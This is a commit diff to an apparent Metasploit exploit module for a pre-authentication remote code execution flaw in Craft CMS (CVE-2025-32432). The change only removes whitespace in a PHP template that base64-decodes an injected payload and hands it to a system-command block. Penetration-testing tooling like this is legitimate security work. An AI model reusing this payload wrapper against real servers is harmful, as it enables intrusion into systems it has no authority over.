Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

Co-authored-by: Julien Voisin <[email protected]>

Author: Chocapikk

modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

@@ -93,7 +93,7 @@ def php_exec_cmd(encoded_payload)
 
     <<~PHP
       #{php_preamble(disabled_varname: disabled_var)}
-      $c = base64_decode("#{payload_b64}");
+      $c=base64_decode("#{payload_b64}");
       #{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
     PHP
   end